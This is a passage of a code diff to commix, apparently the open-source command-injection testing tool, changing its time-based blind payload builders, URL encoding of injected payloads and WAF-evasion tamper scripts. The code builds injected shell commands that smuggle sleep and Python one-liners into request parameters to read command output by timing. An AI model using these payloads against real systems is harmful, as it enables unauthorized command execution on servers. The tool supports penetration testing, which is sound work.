settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + ")\") " ) - elif separator == "%26": + elif separator == "&": payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -344,15 +344,15 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ".split([char]32)[" + str(num_of_chars - 1) + "]", win_operator, ascii_char, timesec) else: - if separator in (";", "%0a", "%0d%0a") : + if separator in (";", "\n", "\r\n") : arith_operator = "<=" if operator == "-le" else "==" payload = (separator + # Use space as delimiter settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + settings.RANDOM_VAR_GENERATOR + ")))" ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + "sleep 0" + separator + # Use space as delimiter @@ -360,8 +360,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) - elif separator == "%26": + + elif separator == "&": payload = (separator + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " $(awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + ") ]" + "&&" + "sleep " + str(timesec) @@ -394,30 +394,30 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c payload = checks.windows_probe(chain, python_payload, win_operator, ascii_char, timesec) else: - if separator in (";", "%0a", "%0d%0a") : + if separator in (";", "\n", "\r\n") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "%26": + + elif separator == "&": payload = (separator + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -437,30 +437,30 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" payload = checks.windows_probe(chain, python_payload, "EQU", ascii_char, timesec) else: - if separator in (";", "%0a", "%0d%0a") : + if separator in (";", "\n", "\r\n") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "%26": + + elif separator == "&": payload = (separator + "[ " + str(ascii_char) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass diff --git a/src/core/main.py b/src/core/main.py index a7e9496a84..d384cc320e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -611,7 +611,8 @@ def main(filename, url, http_request_method): menu.options.tech = menu.options.tech.lower() if menu.options.eval_sink: - menu.options.eval_sink = menu.options.eval_sink.lower() + # 'py' and 'python' name the same language, here as for '--interpreter'. + menu.options.eval_sink = settings.resolve_language(menu.options.eval_sink) if menu.options.eval_sink not in (settings.EVAL_ALL_LANGUAGES,) + settings.SUPPORTED_EVAL_LANGUAGES: err_msg = "You defined an invalid language '" + menu.options.eval_sink + "' for '--eval'. " err_msg += "Currently, the only supported " + ("one is ", "ones are ")[len(settings.SUPPORTED_EVAL_LANGUAGES) != 1] @@ -655,24 +656,14 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Whichever way the technique list was narrowed, the sink asked for has to be reachable by - # something still in it - otherwise the run would test nothing and say only that it found nothing. - if menu.options.eval_sink and not menu.options.oob and \ - not any(_ in menu.options.tech for _ in settings.EVAL_CAPABLE_TECHNIQUES): - err_msg = "Code injection (i.e. '--eval') currently supports only the " - err_msg += checks.technique_names(settings.EVAL_CAPABLE_TECHNIQUES, qualified=True) + "." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + """ + Nothing is checked here about which techniques reach the evaluation sink. - # Some of the techniques named do reach the sink and some do not: the run goes ahead on the ones - # that do, and says which of the others it is leaving out rather than dropping them in silence. - if menu.options.eval_sink and not menu.options.oob and settings.USER_APPLIED_TECHNIQUE: - ignored = [_ for _ in menu.options.tech if _ not in settings.EVAL_CAPABLE_TECHNIQUES] - if ignored: - warn_msg = "The " + checks.technique_names(ignored) + " given with '--technique' " - warn_msg += ("is", "are")[len(ignored) != 1] + " not supported for code injection, so " - warn_msg += ("it is", "they are")[len(ignored) != 1] + " ignored." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + Every technique '--technique' can name reaches it, and the out-of-band one carries whichever + sink it is given - so there is no unreachable combination left to refuse, and nothing to leave + out of a list the user narrowed. What stood here refused a run that named no technique at all, + which is the one that asks for all of them. + """ # Check if specified wrong injection technique - only what the user actually typed, since a # resumed session hands back techniques that are not selectable on the command line. @@ -840,7 +831,10 @@ def main(filename, url, http_request_method): # Check if specified wrong alternative interpreter if menu.options.interpreter: - if menu.options.interpreter.lower() not in settings.AVAILABLE_INTERPRETERS: + # Resolved before it is checked, and kept resolved - what reads it later compares against the + # name commix knows, so 'py' has to have become 'python' by now. + menu.options.interpreter = settings.resolve_language(menu.options.interpreter) + if menu.options.interpreter not in settings.AVAILABLE_INTERPRETERS: err_msg = "'" + menu.options.interpreter + "' interpreter is not supported!" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 0bbdc9d716..1530bab5c9 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -33,6 +33,27 @@ from src.core.requests import stability from src.thirdparty.six.moves import urllib as _urllib +""" +The query string, encoded - and shortened by giving characters back where it runs long. + +Only while it is over the limit, and only characters that are legal in a query unencoded, so what +the target reads is unchanged and a query of ordinary length is encoded exactly as it would be. +""" +def encoded_query(query): + safe = settings.query_safe_chars() + settings.URL_PARAM_DELIMITER + given_back = 0 + while True: + encoded = _urllib.parse.quote(query, safe=safe) + if len(encoded) <= settings.URLENCODE_CHAR_LIMIT or given_back >= len(settings.URLENCODE_FAILSAFE_CHARS): + return encoded + # One at a time, and only ones the query actually contains - handing back a character it does + # not have shortens nothing and widens the set for no reason. + while given_back < len(settings.URLENCODE_FAILSAFE_CHARS): + safe += settings.URLENCODE_FAILSAFE_CHARS[given_back] + given_back += 1 + if safe[-1] in query: + break + """ Encoding non-ASCII characters (in URL path and query). """ @@ -41,7 +62,7 @@ def encode_non_ascii_url(request): parts = _urllib.parse.urlsplit(url) path = _urllib.parse.quote(parts.path, safe=settings.SAFE_PATH) # Encode query string, preserving delimiters and the parameter delimiter - query = _urllib.parse.quote(parts.query, safe=settings.query_safe_chars() + settings.URL_PARAM_DELIMITER) + query = encoded_query(parts.query) # Reconstruct the full URL with encoded path and query request.full_url = _urllib.parse.urlunsplit((parts.scheme, parts.netloc, path, query, parts.fragment)) diff --git a/src/core/requests/reproduce.py b/src/core/requests/reproduce.py index f3e7c66a84..e6bcfb63e2 100644 --- a/src/core/requests/reproduce.py +++ b/src/core/requests/reproduce.py @@ -68,7 +68,8 @@ def curl_command(url, http_request_method, vuln_parameter, payload): if not url: return "" - payload = _urllib.parse.unquote(payload) + # Shown as it is built, not decoded: nothing here is URL-encoded until it meets the request, + # and decoding it turned a per-cent sign in the command into the start of an escape. header_name = _injected_header() parts = _urllib.parse.urlsplit(url) parameters = [] @@ -85,12 +86,12 @@ def curl_command(url, http_request_method, vuln_parameter, payload): command would not reproduce the finding. """ if header_name == settings.COOKIE and menu.options.cookie: - headers.append(header_name + ": " + _urllib.parse.unquote(checks.process_injectable_value(payload, menu.options.cookie))) + headers.append(header_name + ": " + checks.process_injectable_value(payload, menu.options.cookie)) else: headers.append(header_name + ": " + payload) elif settings.USER_DEFINED_POST_DATA and (settings.IS_JSON or settings.IS_XML): # A structured body is not a list of pairs: it goes over whole, with the payload written in. - body = _urllib.parse.unquote(checks.process_injectable_value(payload, settings.USER_DEFINED_POST_DATA)) + body = checks.process_injectable_value(payload, settings.USER_DEFINED_POST_DATA) parameters = ["--data-raw", _quote(body)] headers.append("Content-Type: " + ("application/json" if settings.IS_JSON else "application/xml")) elif settings.USER_DEFINED_POST_DATA: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 1ff4925771..9f5caefdc8 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -568,10 +568,24 @@ def init_injection(payload, http_request_method, url): end = 0 start = time.time() + """ + Encoded as the last thing before it is spliced into a carrier that is URL-encoded. + + A payload arrives with its boundaries, its whitespace and its tamper scripts already applied, and + it is full of characters that end a parameter where it is going: an '&' or an '=' out of the + user's own command split the query or the body in two and truncated the payload. What the payload + wrote for itself survives, '%' being the one character left alone - and the carrier is encoded + separately, keeping the '&' and '=' that do its own separating. + + A JSON or XML body is not URL-encoded and the target never decodes one, so those carry the + payload as it is and do their own escaping below. + """ + def encoded_for_url(value): + return checks.encode_payload(value) + if settings.INJECT_TAG in url: - payload = payload.replace("#","%23") vuln_parameter = parameters.vuln_GET_param(url) - target = checks.process_injectable_value(payload, url) + target = checks.process_injectable_value(encoded_for_url(payload), url) if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: @@ -579,18 +593,23 @@ def init_injection(payload, http_request_method, url): else: parameter = menu.options.data parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + # Joined only to find which parameter carries the tag, so nothing here is encoded for a + # wire it never reaches - the '+' this escaped was in a value being read for its name. + parameter = ''.join(str(e) for e in parameter) vuln_parameter = parameters.vuln_POST_param(parameter, url) if settings.IS_JSON: - data = checks.process_injectable_value(_urllib.parse.unquote(payload.replace("\"", "\\\"")), menu.options.data) + # Escaped for the string it is going into, not decoded: a payload is not URL-encoded by the + # time it gets here, so unquoting it only ever damaged one that held a per-cent sign. + data = checks.process_injectable_value(checks.escape_json_value(payload), menu.options.data) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = checks.restore_xml_layout(checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data)) + # Likewise here: nothing to decode, and the characters XML cannot carry at all are dropped. + data = checks.restore_xml_layout(checks.process_injectable_value(checks.strip_xml_forbidden(payload), menu.options.data)) else: - data = checks.process_injectable_value(payload, menu.options.data) + data = checks.process_injectable_value(encoded_for_url(payload), menu.options.data) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) headers.do_check(request) @@ -657,7 +676,7 @@ def inject_header(url, payload, http_request_method): def cookie_injection(url, payload, http_request_method): def set_cookie(request, payload): if settings.INJECT_TAG in menu.options.cookie: - encoded_payload = _urllib.parse.quote(payload, safe=settings.query_safe_chars()) + encoded_payload = checks.encode_payload(payload) cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie) request.add_header(settings.COOKIE, cookie) return header_injection(url, payload, http_request_method, set_cookie) @@ -973,8 +992,7 @@ def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) - settings.print_data_to_stdout(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie or settings.COOKIE_INJECTION: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index a2c7318cd9..73bac600e0 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -18,7 +18,7 @@ """ About: Adds back slashes (\) between the characters in a given payload. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. """ __tamper__ = "backslashes" diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 6244643f51..fb1345a14c 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -20,7 +20,7 @@ """ About: Uses backticks (`) instead of "$()" for command substitution in a given payload. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. """ __tamper__ = "backticks" diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 60fbb42446..bf57712f93 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -29,6 +29,13 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +""" +What this produces is a blob, not an expression - so an evaluated string has nothing to +evaluate, whichever language is doing the evaluating. +""" +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) + def tamper(payload): checks.tamper_check_space2plus_conflict(__tamper__) payload = _urllib.parse.unquote(payload) diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index fb5ae69e5f..af5f439051 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -18,7 +18,7 @@ """ About: Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. """ __tamper__ = "dollaratsigns" diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index dc18be8035..7b5d6965ab 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -29,6 +29,13 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +""" +What this produces is a blob, not an expression - so an evaluated string has nothing to +evaluate, whichever language is doing the evaluating. +""" +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) + def tamper(payload): checks.tamper_check_space2plus_conflict(__tamper__) payload = _urllib.parse.unquote(payload) diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index f69cd1ebdd..998f48dc80 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -19,7 +19,7 @@ """ About: Adds double quotes (") around a given payload. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. """ __tamper__ = "nested" diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index b60d47b9c4..f47533a77d 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -18,7 +18,7 @@ """ About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. -Notes: This tamper script works against Unix-like target(s) +Notes: This tamper script works against target(s) with a POSIX shell """ __tamper__ = "printf2echo" diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py index 85800ae55f..d06085caad 100644 --- a/src/core/tamper/randomcase.py +++ b/src/core/tamper/randomcase.py @@ -19,7 +19,9 @@ """ About: Replaces each character in a user-supplied OS command with a random case. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. + The character ranges are quoted with "'", which is the one quote neither an + evaluated string nor the shell inside it is already using. """ __tamper__ = "randomcase" @@ -42,9 +44,9 @@ def tamper(payload): source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD if settings.USER_APPLIED_CMD in source: if settings.USE_BACKTICKS: - random_case_cmd = "\\`echo " + _ + "|tr \"[A-Z]\" \"[a-z]\"\\`" + random_case_cmd = "\\`echo " + _ + "|tr '[A-Z]' '[a-z]'\\`" else: - random_case_cmd = "$(echo " + _ + "|tr \"[A-Z]\" \"[a-z]\")" + random_case_cmd = "$(echo " + _ + "|tr '[A-Z]' '[a-z]')" # Applied to the payload as handed over, not to the untouched original: the scripts run in # order, and reaching back past the ones before would throw their work away. payload = source.replace(settings.USER_APPLIED_CMD, random_case_cmd) diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 7f004c0761..bab9c7b805 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -18,7 +18,7 @@ """ About: Reverses (characterwise) the user-supplied operating system commands in a given payload. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. References: [1] https://github.com/commixproject/commix/issues/408 [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b """ diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 9f653267b2..1c012a8654 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -18,7 +18,7 @@ """ About: Adds single quotes (') between the characters in a given payload. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. """ __tamper__ = "singlequotes" diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index b690ab3f06..9cd7cec9d8 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -18,7 +18,7 @@ """ About: Replaces slashes (/) with environment variable value "${PATH%%u*}". -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ """ diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 1d7dc9fdfd..c6c1d2666b 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -19,7 +19,7 @@ """ About: Replaces "sleep" with "usleep" command in a given payload. 